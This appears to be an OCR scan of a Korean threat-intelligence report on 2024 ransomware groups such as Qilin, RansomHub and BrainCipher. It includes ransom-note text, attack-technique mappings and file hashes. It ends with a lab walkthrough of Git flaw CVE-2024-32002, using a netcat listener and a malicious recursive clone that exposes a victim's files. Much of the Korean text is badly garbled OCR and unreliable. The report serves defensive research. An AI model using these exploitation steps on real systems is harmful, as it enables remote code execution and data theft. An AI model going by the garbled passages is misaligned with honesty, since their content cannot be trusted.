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Keep up with Ransomware
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Overview

Functions 92.6% Similarity 0.99
T I |
= S
_ 14 ‘g
:.\ Jm‘ 2 200
tFr) 12 =
1 B 2 10
&
ok i e —— —— —— e ——
o ~ ,, ™ - o © A @ o ]
o o o Q o o o o o
Diff Info
Diff Path C:\Usersik1230\BinDiff Workspace\braincipher vs lockbit3\braincipher_vs_lockbit3 BinDiff
File Date 2024 Jun 26 02:32:45
Primary Image Secondary Image
IDB Name braincipher IDB Name lockbit3
Image Name ebB82946falde261e92f8f60aaB78c%fef9ebb34fdababab6995403b110118b12 Image Name dump2 bak
Hash ebB2946falde261e928f60aa878c HefIebbI4fdabababbi954030110118012 Hash 3eddac9957daef2f08370308b6caa24706c031154580f6b3e8c111c7517ef95¢c
Architecture x86-32 Architecture xB86-32
Functions [s23 (958%) 337 (22%)14]| |Functions [323 (96.4%) 335 (zs%) 12|

1% 3. BrainCipher @ LockBit 3.0 sl FAI:

Mz 5738t BrainCipher o] 152 59 LockBit 3.0 U2 A|2tE s lo]& AHEdt=
Ao g Gt o5 QlkuAote] YAl =7t HIo|HAIE (PDNS)E 54 °F 200 71¢] F+H
g A 7|89 FF AR|AE FHAZIAL, S olR] AYE uEAY] = T 9% nRH. @4
M= JFC R 800 T gj(ef 110 o ¢HE 83 Aoz dFnt. 7]Eo= HAHALE
| U= D E ot 29k 6 E 26 Aol HE9

| README txt - Windows 23 ) README txt - Windows 3 2%

oEE FTE M40 =290 =820 mDEF BEE A0 27V EST(H)
(We downloaded to our servers and encrypted all your databases and personal information! We downloaded to our servers and encrypted all your databases and personal information!
to contact us to contact us install tor browser

download TOR https://www.torproject.org/download/

https://www.torproject.org/download/ go to the page

follow this Iinlci http://txtggync ] 1 . = http://txtggyng . ]

follow the instructions on the website fallow the instructions on the website

if you're having trouble with TOR to start chatting with us write "hello”

e-mail wehaveyourdata@onionmail.org

IMPORTANT INFORMATION!

IMPORTANT INFORMATION! If you do not write to us within 24 hours, we will start publishing and selling your data on the darknet
If you do not write to us within 24 hours, we will start publishing and selling your data on the darknet

a9 4, BHALE v (F: Trinity, $: 2023Lock)

olele 4 Zfo] At IFo] AR Edl, Ay F&F AelEe] 3 9 nsiiE A
EZYE(Trinity) ALl 24 d 2 Dol 2A® 2023Lock A ole} A LE Y-go] GAISHH
22 @K E 53t v A (Venus) A oot Ay BRI AED] A4 2t RFEAT Zho| UX|st= 5
ofg] dZdde]l ZRIFY. F7HHer dxgtk(ElDorado) I&E2 15 79 ¥ nsixE
AN e, Cicada 3301 15} SenSayQ 1E-2 ZH7F 4 3t 2 749 HeiatE AAA

5

1 2t (Builder): 874 A% Fl Yohz 715z o]Foi] WHAE TE & e B AR &

T RE A Mute): HEl2H o)A shite] AUl ofe] 2dSsk SAG] WReks AL PA] Azt A
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AzzaSec KillSec

_RaaS Release ) ‘ 2
1

v Kil

Greetings dear AzzaSec Community,

The development of the AzzaSec Ransomware has officially been Killsec Raas

completed, and our ransomware is now ready.
» Advanced locker written in C++.

The ransomware has been developed with a completely unique » User-friendly panel accessible via Tor, including stats, chat, and
algorithm, and the code belongs to the AzzaSec team. builder.
» Upcoming panel features: stresser, phone call, advanced stealer
You can view the detailed appearance and working principle of the and more.
ransomware in the video.
g"’Pricing & Fees
Features:
» $250 (trusted individuals only).
+ Developed with VB .NET, » We only take 12% of the ransom amount.
+ Has a disk size of 10MB,
+ Uses SHA 512 + AES encrvption, Coming soon!

95 9829 Ad O A o] mhaf) (& Azzasec, 9 KillSec)

e 2ol sz ZHoME A Hole] ol ALA R HQlH Ut 2024 @ 2 EHH
G357 Al AEHIAE Azzasee 2 EE|2ERIE AAEH @Y AdisE 34ske
G 2B *éff}iﬂ J%Oli}. 01%—3 FZ 2AlEe A Aol Al G oA A o]

2023 W 10 9EE 2%317] AZet KillSec FMj dlo] IFL 2024 W 3 FEEE A £
Aol Eof s 9ol majatE AR ol &2 71E Aol AR|A9 FHlolE HAQI KillSec 2.0
RaaS™ vl 25 @1 Afdof 7 léﬁﬂr oY IMEHAE T1FEO|l AXH Ex AFEH
ol HA{TE oflzt |MAHAE AFE FAHSIAY wHiskes T WAl &EFol FET|

P

18 RaaS(Ransomware—as—a-Service): 23-& t7t2 o] TEY Ao Bash =38 Al-gshes H2YA Y
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Top5 o]

infosec

0j0 0y

ﬁ 12%

[ Akira_|

51%

11%

11%

i;

11%

£ ysolz T AROIE2HEIL @ BR Eatd

) castuict () ITOIERI0H @ Au:RAE Y20t
® pe:sy @ PTEasz

& k= () PEHE

J96. 44/Z71E 32 W0 34 8%

S0l (Play) #EHA] 252 thAd 5 AIEC] Hoiats dE# ez AASHe =
Atk 6 Holle A7 26 4, 10 A= F Aol 2A AAsiH 7P w2 &= v 2ol
ESXi &7olM HE VMY & FBAZ|IL gt & A7F A 7s= 7H] ESXi ®Fol
TAEH, 7|EET o B2 YoM AdAQ] Bae Holi Ak

2024 9 2 95EH 52 AFE A6 E (RansomHub) 152 54 olF #WE JGAE HolH
s &FstL vk olg2 AT HA4 ol d2 v 4% £ 2E RansomHub o7
Al&stes st WAl ARl of] stEUE EAY 1 A o] 2 A (BlackCat/Alphv) 9]

AGAR G55t W] (notchy)? @F A7HE = Am} o]t (Scattered Spider)?! 7} RansomHub -5l

E
al

¥ VM(Virtual Machine): £2% ##E @3S £ZEHoz Fdste] 2ol 2JAAE AFT & e AFRT s
0 Notchy: BlackCat(Alphv) & 22 ¥ $455 WA ZHCIL A7] P28 F4shs 22 @AoF o7 T RAMP of] AX T ALGAF

2! Scattered Spider: 2023 '@ 99 m=o] g Y%E P %HF 189 MGM & 25 g82 1%
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2tolstw A e ZAo=m HAth 6 ol Ad 4 4 v=9 WP FAAF Frontier

37
Communications & 5431 &Fct 2F 2007t Ho] 17 AHE F/i3ich

it
X
>~

T3t RansomHub &2 Go 1ol # 7|gtoz AZH Windows % Linux HZ QJof, C++
Hro g AIAE ESXi” WEF2 AMESEZ] ARSI RansomHub 9] ESXi W1E2 7M €73

TRA7|A dosfsleE 715E AlEshy, UNIX 249 271 A4 e & syslog 9F &2 5
MU~ BZASte] =7 Hefist g 2 242 BEshy] ffs dAIEE AAA L
A

2
S Sick WA TREE B W) FACL ol A AHE U

m\”l-rUkO

2023 & 4 Hof 339t of7|eH(Akira) IF 6 o Az Ho

6 ol 3t FAL oF 40% oldo] Az Fokz ERlHT;. E35] vt
WufsH= Panasonic Australia & 3243 ZTZAE g 7|
gHgon, nl=9 Af YW 7kA AH| A 3JAR]I TETRA & 546 oF 40 GB o] Q! AH &A1}
71" ACkA, 71EFA @A T 4F U JEE S5 = Fioh

N2mE WA GRS AE doldlE AN, ol dolel B HAE A °F 560 7
HelE SFT slom @t SR AU 5 Wl Ame 029 i delsw UE
oy on, gl H7 ZH XSS o WA £2FES Wuhshs IE AN Do
Ugo] AAZEE W ol o), Rz B He Se dudd o o
OF0] FUT WEA(EL TYE WDE A8 Aol B F7] g Agen B 4
(/)J]\
Uﬂ—r/\}(Medusa) Dl TFS V1T W @Sl FAMoR TASW TE IFTHE Aolw
& Hlck 6 Ul o Belidole] AV B N AP Dol FAS VAol
4%94 AR A2 AP EARE wHIAZLH, 120GB 9 HolHE GFste] 20 W o)
Ba% a7, B9t oluiel o] Hael B o4 L5 Aok BE w2 79 9w

2 158w Q1 Tri-City College Prep & &24sto] B3ls 857 % 3t

;g_l_"

22 Go d91: Google oA AAHg-& o0]7] sl AT eEas 2 ey <l

B ESXi: VMware oA 7Hiret SAE AFE oA thpo] SFAAE FA] AFPAZ & = UNIX 7[5 =g

)
il

gl

ofe

EQST insight | 19



m 90| Y3 EHA

Qilin FAHHo] Q.

SORTING CREATED AT 4 NAME

YKS kendi aginin gtivenligini nemsemiyor. Iceri girdik ve her seyi kilitledik. Gelin bizimle sohbette
konusun, aksi takdirde tekrar tekrar kilitlenme riskiyle kargi karsiya kalirsiniz. YKS doesn't care about
the security o ...

e WISE CONSTRUCTION
B |

For nearly three decades, Wise Construction has distinguished itself through exceptional service to
clients in the healthcare, education, biotechno logy and corporate sectors throughout the Greater
Boston area. Leading names in each of these ...

Z4: Qilin #HHo] IF HlolH /& AIE / B2

2022 & 7 gl SRt Qilin Al IF2 A7 128 9] HsiAE thad oy 7=
APolEof AR, &3] 2023 & 11 dole =W B=A 25 Az 71de AXSHIE .

2ol AAA 57 l el =] Hzlst Muls AlE AR Synnovis £ FARLH, ol
Qs @ HAReE % %’—% AMu|27) opaEjo] = AR WA A=} pao] HaHe T

Groups trend

2022 Oct. 2023 Feb. 2023 Mar. 2023 Apr. 2023 May 2023 June 2023 July 2023 Aug. 2023 Sep. 2023 Oct. 2023 Nov. 2023 Dec. 2024 Jan. 2024 Feb. 2024 Mar. 2024 Apr. 2024 May 2024 June

J9 7. Qilin ALl 215 54 B4

Qilin Mol IF2 “Agenda’@= o|l§o2 &2 Ao, &5 x7|of= ofmezte}
ofAloe] ol 9 W& 7S HAOR JF FAS AL o|F 2022 | 10 doll= A §&
APIEE AAdstal 6 19 mlefAE AAFoH, 2023 W 1 E7A]E F7HE]] EFo] SRIHZA]
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ISt olF 2023 ¥ 2 U, o7 Bl RaaS TRIE AAGI] BE AR AT Y

2 =
golg & AtolEel HsiaE AASHH 242 or SEs AAr

@A Qilin o AP FE AO|Eol= WikiLeaksV2 2 A= 3t QR =7t EAg.
WikiLeaksV2 & #ue] &, ool =g 574, BlanE o5 8% #2 7Y 4 %
ajtj ol Aol i35t olgo] e H|¥Y £A WikiLeaks €} 71 ZHAF Julian Assange &

ot BAOlA 2024 @ 2 dof| whE AE I AlEH. o] @AlE Wikileaks ©F FU5H
e 7|5 YowA 92 skl lom, ARARE Ei BEE &7 Tob AASL Ut =4
BA, =7 #A, 4%, AR 321 o, 95, d9 5 ot vHEHIEE Hastal jlew,
ORI = AR, A B W, o=, 9] HolHw 74]/\]% JHIE o] Zhedl AF HolHE
AeJstae B5F Qilin o] &8 olFo] e HolEEelH, < F4%t Synnovis HolE UFE

A A= e e

O

Jun-19-2024 20:17

i1 ]
Qilin. Who are they? READ_

iliw

N.E.T' WO R K

Interview. Who are they? Why are they doing all this? Money? Popularity? Revenge?

Last update Jun-19-2024 20:32

Z2]: WikiLeaksV2

19 8.WikiLeaksV2 o] AIXE Qilin Q1EH

FE3t WikiLeaksV2 o= 2 AAE Qilin 2579 QAEHFE &I 4 Uty QJEF W&l
OEW ol52 29 ZAfE A% 4 Bov] fldf ot lon, AA A& FAE0
Aol FHdom A FQ =7te] S22 Adn FAH TRl e WAET BHle=
A5t Aok FASE Qilin 159 5% Al719F WikileaksV2 ¢1E1H & 9 2T Synnovis
AL HA] F= 39 FEAF BRBC o 18t QIE R WE 5-& aEeEe o, o]lg2 Aok
S-Aetolut AT LG Blo] Gl= AoR ASH
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g5 2719 Go o] 7Hte® ThEol Agenda WHYAE AHgow, nlofzt H
HHHAE AHEshe AEeE Bk Go ol 7|8t Agenda sHAd9lol= ofAlofet
s 7HE ez Hjzgen, Windows AlLdEe gdA7le A=
2 HUHSE Adsol AAHog EZelu o

HALE AHA9} a2 Windows A4 HYHE ¢
soge. wa guste] A9 gaz el
£ ZgstH, AES-256 gale|Eo= mtdS oot § dasto ARES 7|8 RSA-2048
YnEoR Bosk WAL AeT

_2
2,
I-U
r
-lII
o,
f;.t
N
-|-l
rlo
N
or
o H:] 1=
FU ot @

5= AARMA] 271l A 20228 9 Holl= Rust 7|Hre g ¥hEo]d Qilin HEo] HHEF o™

1 O = s
A F7MA e Rust HF2 ARgot= Aoz It AEA Wad Rust HE52 ot ol
ChaCha20 =& AES ¥ 8&2 ARESHH, VMWare vCenter 2} ESXi oF 2 714 g4 o=
Autsh= 7] PsExec® & FollA AAEH TAENNA A Hash= 7]ws°] F7FY. Windows

O dhaer oket ESXi 7HA] kel 5 S1@0) M9t AN 9] wie] ol AzelAE Rust
Zlatel Qilin AHIE A AERT Qilin 15| ko] o 2
s,

ﬁ
u)
lo
.
i
S

2 VMWare vCenter: th9] ESXi 2 7H} AA®S 5 JF BEsiH ZUEHFY & 5 s 29

5 PsExec: THE AAe] MRS ALEFOIE AXeHA 9T ZEAAE 9F0% AT 4+ W Ak 9EE w7
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Qilin Ransomware

infosec

AES-256(CTR) E2 ChaCha20 ¥1E2|F22 njg
h aCha A
AES / ChaCha20 a

File )
T

grze 7/

YSIIE o1, S 712 RSA-4096E HS

Support AES-NI

=

Tl <=2 B
AES-NI

orzsf opal | fast [EE ] T NZEE 25 5 * 32 MB

U2 H=3

skip-step [ =8} 37|] [2tA] : 7t (Bytes) OICt &S5t 37| (Bytes) T2 ¥ =5}
percent [E 8 =] [H|S] : THY HHIC| HE(%) OICt 28 4 * 32 MB I3

(=1
u=38l

.
=35 AlAE =42 S§ =0 vCenter &
22 g2t || oy g ors ot Esxi T} A7 A
£y
AES/ChaCha20 & OpH BT OMIE =1 Anti-VM &

RSA 2153} HE| A Anti-Sandbox

~

.

== Qilin

Your network/system was encrypted.

Encrypted files have nes extension.

== Compromising and sensitive data

HyrE

Data includes:

- Employees personal data, C¥s, DL , SSN.

- And more...

== Barning

¥e have downloaded compromising and sensitive data from wou system/network

It you refuse to communicate with us and we do not come to an agreement, your data will be published.

= Complete network map including credentials for local and remote services.
- Financial information including clients data, bills, budsets, annual reports, bank statements.

- Complete datagrams/schemas/drawings for manufacturing in solidworks format

README-RECOVER-[a-zA-Z0-9_-]{10}.txt

-

Bz g3 [
= plof
()—0{ Rust

[a-zA-Z0-9_-1{10}

a9 9. Qilin Y] Ma
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Qilin A A

infosec

Initial Access

Discovery I R HYe| Y5 miyo|Lt YIE OB HIE
b sors 5 uiag 22 ae
AMAR HE BE +H g
HEHI 37 <t =l ][5
-

Defense Evasion

oF X cH g IHES B
Lateral Movement % E 23 ;EJEQAB\’OVD EERS1
ofiE 23 N WHA 7k AH
SSHE &8 vCenter X ESXi Tt 3 B
PsExecE 83 LF UEHI Hat = = . .
Exfiltration
Impact C2 MHE B2 28
£
olo|E| =5t _/

el SAE AL

_T1 486
_T1 490

A8, Feret dA & i 2 wjEel WAl Apggich
Eot HEHem AYHe Wl A, sAAE At dxe] WAEE "--password”
A A

Azet TA Hgslor HgH o= Aol sHEott

@.
=
=
%
o
9
rlr
HT
rO
%
u
2o

o &AE Hstal ysfiate] AlA® HS Wefisty] fld)
PR A s HE &RH0] AFHA Y= AU Bol HAE
& F Adste 7152 7ML QU &Rt < PA
AN2E Ao HUHSE Qojo] BExdz AHdAsHE FES HEe gelsict o

el BYOVD * 7|¥< &-8sfo] Esfolwe] WO R Anti-Virus ©F EDR# 3 22

£202 FRAE 715E EAdT

Here ARgst

=

Qfsf HHRE

R
s
T T
(e}

ot

HAdel A A EE JIAE A ALstd R Y ELZ HAAAE dukd 4+ Sk W7
HEAA sHHdE Hufstr] faiA 1A} “—-spread—vcenter’?} “—-spread”E AH&RITH
Aelol Uq A, “—-spread-veenter’S YA WAolol W PowerShell 2APES
-804 VMWare vCenter 22 ESXi o] A& Atk gt o] 7]5& ol§diA HuE
AEstE® ¥l vCenter &8 ESXi WaE#te]l A2 =wo] "Hasdith ZAA) AAZEHLS
dgstH A}t 4B dd F WA HEHSE Qilin Aol H[EHTeL FUSH

2% BYOVD(Bring Your Own Vulnerable Driver): A28 #ghe AFESH 4= Q= FoFst tatold] RES 53 FAsH= 4]

27 EDR(Endpoint Detection and Response): ZAIFE|Q} 2HIA, A8 5 thdr]ox] dAsh= oA P95 AAzte g ZAsla 1A 9

ggatel mef ke s &24
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HHAAE Austr] fJsis SSH*E &/4deletth. o] /st SSH Ade FoiA
£ AR 5 AYPsIth. “——spread” AAE A AA] ETof PsExec & AT H
HERFS theg SAEA A & nE UEYAE HAAZI7] Al “——spread” F4S
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1
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-{m
52
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u s
_>,:
mlo

A AT delR Eet]
A e o s et ?}is‘ﬂr ﬂi*ohﬂ—t— E Ollﬂ_Oﬂ A tdse =8 HESA
21 ﬂiﬂw FA WSOl SlEglel ARE Sl o
S ZAASI}, AES ¢5st 9 2535l A SFARS. 9t
Tﬂ‘-‘ﬂa}ﬂj AES-CTR(256) &il=]E= AtgatH, AdstA]
g3t gaslole ddnid AdskA AT A8 ol gHA

Agop, ?}ii}Oﬂ AHgE Zle Al WAE RSA-4096 F7H71E ol-8siA
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o o L @ gf

L o2 852 o > o 2 P
Do 2

fol

QIX} a4
fast [ES F] ool Ms5H 25 ] *32 MB T ¢=3
skip-step [¥Z 3} 37|) [2HA] | (2] Ot [ =3 37(] Bytes 2t 233}
B

percent [E5 ] [H|E] b MA Q| [H[8]% OICh [E2 $]*32 M
E1 983 2o B Ag A

e deste 7lEAor nd AAE FoesiA|e, A3 Akl wetd & 3719 BE dest
k=)

=
oz APt fast 1A ¢ oA dEet A ghol met mble] A RES
Aot 4= 2lom, skip-step ¥ percent ¢17H9] B¢ 47 THAvitt mhlE destd o 9ot

olelo Ao A& olFA st A%t ek oy ZEEC] Qlvh @A AdPFS ol
VM o|t} Sandbox? ¢1x] A 2y SIEE SH= Anti-VM % Anti-
Sandbox & AREof Aol wd-E HA BASHA] EoHA Fow, RE 2st HAo] Ed H
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28 SSH(Secure Shell): o2 924 SAE H&5H] 9ol AFSEHE= HoF 2 ES
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L)
i)
ol
oX,
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infosec

Initial Access

Anti-Virus& 28310] 2422 o@l AHe|
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CDR &84 AHE8 8% ofYac xjch

T1133
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[ 71087001 }
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Defense Evasion
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PsExcc 9 2 ETE 53 UL A YA TAE PorEe Agat Aw shtel
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rL—Il Indicator Of Compromise |1

W

Qilin : SHA256

6316417fcd979c39a4da672ba3521f62081ff4dfebb868ef65a1f2dff9a738ea
27f7a332ba10bae9dbc527ea25c787cb1850f0b34295cd49118f040f08f4fe56
27a91c2e53e9e7bd6alccb8b0bed1f954f3011973248e710598a5e7d6c6ed668
55e070a86b3ef2488d0e58f945f432aca494bfe65c9c4363d739649225efbbd1

File Name

STL.exe
forigpatch.exe
file.exe
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« Imperva 34 &9 o]A] (https://www.imperva.com/blog/update—cve—-2024-4577-quickly—weaponized -

to—distribute—tellyouthepass—ransomware/)

+ SC Media 54} Z#°]A] (https://www.scmagazine.com/brief/vmware—esxi—subjected—to—attacks—with—

ransomhub—for—linux)

+ Synnovis 34 &Ho]A] (https://www.synnovis.co.uk/news—and—press/cyberattack—update—24—june—
2024)

¢ The Guardian (https://www.theguardian.com/society/article/2024/jun/21/uk—national-crime—agency—

russian—ransomware—hackers—gilin—nhs—patient—records)
o = =l B Au]Achttps://digital.nhs.uk/news/synnovis—cyber—incident)

+ BleepingComputer 52} 20| (https://www.bleepingcomputer.com/news/security/major-london—

hospitals—disrupted—by—synnovis—ransomware—attack/)
« BBC (https://www.bbc.com/news/articles/c2eeg9gygyno)
+ BBC (https://www.bbc.com/news/articles/ceddqglk 7qgo)

« Agte] 7|4 227 (https://symantec—enterprise—blogs.security.com/threat—intelligence/black—basta—

ransomware—zero—day)

+ Trend Micro 341 &Ho]A] (https://www.trendmicro.com/en_us/research/24/c/agenda-ransomware—

propagates—to—vcenters—and—esxi—via—custom—pow.html)
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Research & Technique

Git Clone ¥{AIE Al FOH(CVE-2024-32002)

m U e

A

AGDe AFE L WANGFS FANT ASAT 29 BY AL 28] AT 24
e g AL

&
HE ] AA"E0)tE 2005 @ BRrs EBHAYL BlsA AY

Git & H AAdom gol BgxT 9=
S A8 27t Ade) 1 9He Srtel)

olg|gt Zla} #HFE oAl CVE-2024-32002 = 2024 & 5 €4 14 Qo] Zshc) o] Hokde
Hefjzrt 4A YEAEY N E AMERED clone shH= ATCRLE ¢F Wy Aso] shsoith=
EA4E2 Adth Git o] AHEE 7|5, Windows &F MacOS TUA| AR o] AFAE FE0HA] F=
E4, AE8 &3 7e2 ol8dl Git &Y F Adrbeet "ddEZ git HIE]| A
s % A

0 2ak v e ]i‘@](Distributed Version Control Systems): AZEo] M T2 S 95t AA" ZF Atz 9 AHo

31 @)z B8] (Repository): Git oA Z2AEQ] FE FHE A= 7} #HF4
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B 34 AL

infosec

CVE-2024-32002 ¢ &4 Auyz o= offiel Zt.
@ oY ATZET} Exfists

2 I
o =
¥ 2|ZX|E2| clone
>
@ oto|Xel A 2|XX|ER| Y=

s Q T
seener I

@ mohxt F2 HE 2F

19 1. CVE-2024-32002 27 Ao

NEZE 4

@® 34Xx= Adeo™el =
EMsts ¥4 2 ZX|E2|E clone

74
@ LRt 2 ATYETE
(® CVE-2024-32002% ©Qloff &4 AJRE X5 AH

Mool Wejrtel Fa Y 2

|
it}
|m
nz o
o
ot

@ BARE oY 2

(o]

m <

0

pb= AT EQ0| B
A

/W 7 #of v
2451, 2441, 2434,2422,2414,240.2, 2394
Git
O[F

HIAE 332 753 CVE-2024-32002 ¢ 52 74 Abw ek
0|2 e
Microsoft Windows 10 version 22H2
| s X} Git 2.45.0.windows.1

(192.168.216.130)

Kali Linux
(192.168.216.129)

okl
N
>
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B o H2E
Step 1. &4 +4
ms#F PC ol CVE-2024-32002 F ool EAISh= Git = AT

o WRolE Fof AXT Git S I & it

git --version

=oFst v Aol Git 2 AX|SF Windows 10 PC(192.168.216.130)2] ElujdoA ¢ AWME=ZE
Ao, ofgfel Zo] CVE-2024-32002 FHeFgo]l EAfst= 2.45.0 9] Git-& &1 4= Ut

™

BN CHwindows#systemn32womd.exe

9.0 windows .1

a9 2. A% Git ZR &<l

Step 2. FI°FH HAE
S AL CVE-2024-32002 & olgate] WA 4 a7 AWcrsl AYd=ss Git 97
PEZAER(p.15 FX)E FHIRTE $AR= offle] AMER XZES AN ti7|eit

$ nc-lvp (ZE H3Z)

/home/kali

~lvp 7777

stening on [any] 7777 ...

11
i

a9 3. A 4 9F dj7]

ol% Hajar ofgle] AWER T2 ctolzel YRAEANE B Clone) B

$ git clone --recursive {S 4%t 2|ZX|E2| FA)
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B Administrater: Command Prompt - git clone --recursive hitps://github.com/EQSTSeminar/git_rce.git

or path "A/module

39 4. git FFHE S 2 A dF ANk

CVE-2024-32002 FoFH= ol-&df ¥ A& A4dst o],
C:WWindowsWSystem32WdriversWetcWhosts Itd-2 23|t A= of-2-3 2t

m

fhome/kali

2964

vdriversietchhosts

This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addresse
entry should be kept on an individual line.

may be inserted on individual

enoted by a '#' symbol.

rhinoc.acme.com # source server
X.acme.com # x client host

-3
I
4
it
o
4
it
I
I
it
it
I
it
it
4
4
it
o

handled within DNS itsel

a9 5. WA A dF o|F hosts T 23]
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oM Al BAGIAE CVE-2024-32002 Fokol AL&dH Git 7153 otoldql ejmAge
:rL

Step 1. checkout ¥ hook
CVE-2024-32002 FFHdel o] ¥y Ay AHE oldstr] a4 Git 9 checkout ¥+ hook
7)ol Higt olsl7t Easiet.

1) checkout
A]
Q7 Q=g olF P5k= =2 I A|HE commit ©|2tT Ah A ZE Tree & 2 HH ]
1

Tree &} A5IEE GYlolE & o, commit ¥} commit Ate]E o5& a7 A7t} o|df, commit
St
=

Aolg 7HaA ol

infosec

Working .git directory
Directory (Repository)

Checkout the project

Stage Fixes

a9 1. Git 9 71249 3z

2 Git E A Git 2lZXEZ|] utd Fto] AF Fx
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2) hook

o2 HA #e AL FY5HA Gitol Ak 54 o|flEd AtFor 54 AFHEES AYstes
< 4 Sle hook 7]Fol EAST: 7|2A o= git/hooks &l A4S, hook 7|59 =+
commit 7HA#E Al Mol APEE= pre-commit, commit, ©]Futtt AYEE= post—commit,
git checkout Fx7F AgA oz +8E wuttt $E5)+= post—checkout 5] ST}

infosec
’/ ____________ '____-_ ____________ ‘-\\ ’/"—_______________' ____________ .-\\
K Client-Side Y Server-Side Y
' |
! [}
! 1
|
I Repositor '
. Changes P y _ !
| Update X
I
! |
! 1
! [}
: | pre-commit | | commit-msg | | pre-receive | |
|
1
|
1
: | Prepare-commit-msg | | post-commit | | update | | post-receive | :
\
!
\ \
\\ ,/I \\ ///

. e e e e e e, e e, e, e, ——— ———— . e e e e e, e, e e e, ———— ————

¥ commit ZWA|: AFE dlolel7t 27, AR, A YA AEE LW FH
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Step 2. CVE-2024-32002 52 ¥

D dagx} &

Windows 2} MacOS TUAARIO] A9 Linux 3 A|A®M= h2A] o8l dE2tet 2725
TEoIR] o= BAJo] k. Git 9] A9+ 7|EHC=Z ignoreCase AAo] false = Ho]Qlo],
WA 23

= CwWindowsWsystem32Wand X

C:\>type eqgst

This is test file
C:\>type EqgSt
This is test file
C:\>type EQST
This is test file

a9 8. daEA =52 = Windows BHEAIAE

AL b AAH2 AFAE FEoHA] gons fgAaAgt o & 10YS clone 2 o
Y = QARh shA|Rh Git o Wi AAHAE & UE TY=E QAste] HhE
A2 Git W5 ZRAlel AFsHA ot o5 S0, A B a LS A of Git Y7 WA=
2 R wd= IASHAR, A Y A|AFHS] A £ ds FY Td= QAR

2) A&3 A (Symbolic link)

NeY Paw 9E Bee slele Bge St 54 ddsgel A2y P93 992
Bt A deAEe] H2T W 9 delseld AW Fas Qokw gel ks
Git 14 e 93 /15 BHGSHY Gie PR ABe 32 AL A48T 5 e,

AT 7s= BAsshr] fsiA offie] AWMEES ARERIH.

git config --global core.symlinks true

A D Haga &2 dEAA YT viek o] Git % Windows = a2 i o Fo mE
2lo|d-g 7 ek webA, 22 35 ARESHA clone oA A HYEED U dEL
a 29 g3 7HE7)s g Ed YR clone s %171 7551

Case 1. ]ZAE& oA A/modules/x Tt clone 3}= A%
(BElZAE"E A=R}/A/modules/x T clone 3= AL, ol EZo] {HEZAEFHE clone Tt
ZA2}/A/modules/x o] EZo] |Gt
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Case 2. E|ZAEF A A/modules/x ¢+ AEZ A a(-) gi)E A clone = 3
{FEZAED AR}/A/modules/x ¢} A28 H3 {FEAEF AR}/a( -) gi)E 3 clone dF=
3%, EEAEY ARJ/A 7t AEY FAE AFSA Hol {HAZAEIE clone T
2}/ git/modules/x = clone ot= o] |3t

,,,,,,,,,,,,,, Case 1 ____________ oo Case2
/,{;,” } Repository ) ‘\:\\\ /,/,:’ fffffff Repository - “C\\\
/o \ ;! Vo
/ [ RS [ A
[ | |
o 0 N i |

| I |
N ] ] = .
- dul o . P
ro modules N modules o

|
Pl | o Lo
Do A . Lo

1 H | |
N ~ it clone; | | :\glt clone o
| p J : | :
| . s | [ |
| i ——— oo |
P Local storage N | :
| / \ | | I
| [ ' | | | |
i i [ - i :

I | |

LB i =
L Lo !
Lo modules Lo !
| | | | | |
L] I_B A |
| | | | | 1
\\ | | I \\ ]
\ l X rl f \ f
A ;7 A\ /
\\\ P /, N\ s

3% 9. Case 1 3 Case 2 o] @2 git clone 522] A}9]

CVE-2024-32002 9| s S2-& AHRES cloneT o EAYSHT, ABRE 7%
otefiof IUE HRE = HA2 ofefiof AHAIB] A&3trt,

o
nich
oo
:?L
a9

3) Git Y% &%

step 1 oA A58 HEeE o] git/hooks oA E4 A&olx A¥E hook AFTHEE T3t
S&olAA T, MBERES] hook AFAHEE git/modules/HE°]E/hooks A=A F=]3ic,
%, git HEEZ] oo mde AET S glew Yo ©E  Adol It
AARRITE it HEERE HolEHE AAshal #Estes 9 otk M= vhe ddEy ojn
o] gl= "I EoA gitinit S A5 Git2 git TP ELE vHET
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B 22| AE C\Windows\system32\cmd.exe

IC Wdev>git init test
linitialized empty Git repository in C:/dev/test/.git/

C:Wdev>cd test

C:Wdeviltest>dir /ah
C cetolBe =2&: Windows-SSD
=25 24 UJE SBDF FFOF

C:#Wdeviitest C|2lE]2)
2024-07-01 <%= 04:20 <DIR> git
| ooy o 0 Htol E
N Cldle el 791.191.564.288 HIO|E
a9 10. git init o]F .git HHAEF JA4

gt UAEAE Fo doleg AWstn wsh) wRe] #Y ddARE BAslw s
Agast WY Aok ARAY gt dAEY fE L ofefet Zol T, Z4F gic JBE
Ak gk,

B 2| Ak C\Windows\system32\cmd.exe

EC:WdetheSDcd .git

C:WdevittestiW . git>dir
C =2to|Be =2&: Windows-550
=5 o4 t'._19_ SBDF FFOF

C:Wdevittestit git CJ2lE ]

2024-07-07 = (4:20 ..
2024-07-07 04:20 112 config
2024-07-07 = (04:20 13 description
2024-07-07 04:20 21 HEAD
2024-07-07 04:20 <DIR> hooks
2024-07-07 04:20 <DIR> info
2024 07-07 < 04:20 <DIR> ohjects
,2024 07-07 04:20 <DIR> refs
u 206 HIOlE
521 EIE“E1E'I 791.190.,814.720 d}0|

E
a9 11, git HIE

AE =°l, config WL siF ZRAES] A AHE, info HAEZ= gitignore TLT} Fo]
FAS ol o] jel-E, hooks HHER]ol= Step 1 oAl A3 hook AFAHEZ} 9|A|%tct

4) NERE 2 X2 Ed

Git 2 EAEZ] gt thE EAEZE HIYER Y& & e AHRSClRE s
Asttt. AEREs F71E o, o5 HEHEES git HHEHE HHEE off7t obd A9
ZEAEE Y] it HEHEZ ‘41—r4 modules HHEZ ] MEEFO|F HHE] o x|t

EQSTtest ©]5¢ AEHEEE F7ItA HQl HEAEZ Y gitWmodulesWEQSTtest Al
ABRE] git R/t T AL FAg 5 9
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BN 22| A C\Windows\system32\cmd.exe

C Hdevittest?>git commit —m "add-submodule”
I[maln (root-commit) 598f1784] add-submodule
2 files changed, 4 insertions(+)
create mode 100644 .gitmodules
create mode 160000 submodule

C:Hdevittest2>cd .gitlmodul esHEQSTtest
C:Hdevittest?W. gi thmodul esHEQST test>dir

C c2lolBe 25: Windows-SSD
=5 d3H vlo: 36DF-FFDF

C:Wdevittest2W . gitWmodul esWEQSTtest Cl2lE{ 2|

2024-07-07 S (04:52 <DIR>
2024-07-07 04:52 <DIR> ..
2024-07-07 04:52 config
2024-07-07 04:52 description
2024-07-07 04:52 HEAD
|2024*07*07 04:52 <DIR> hooks
|2024—07—07 04:52 index
2024-07-07 > (04:52 <DIR> info
2024-07-07 04:52 <DIR> logs
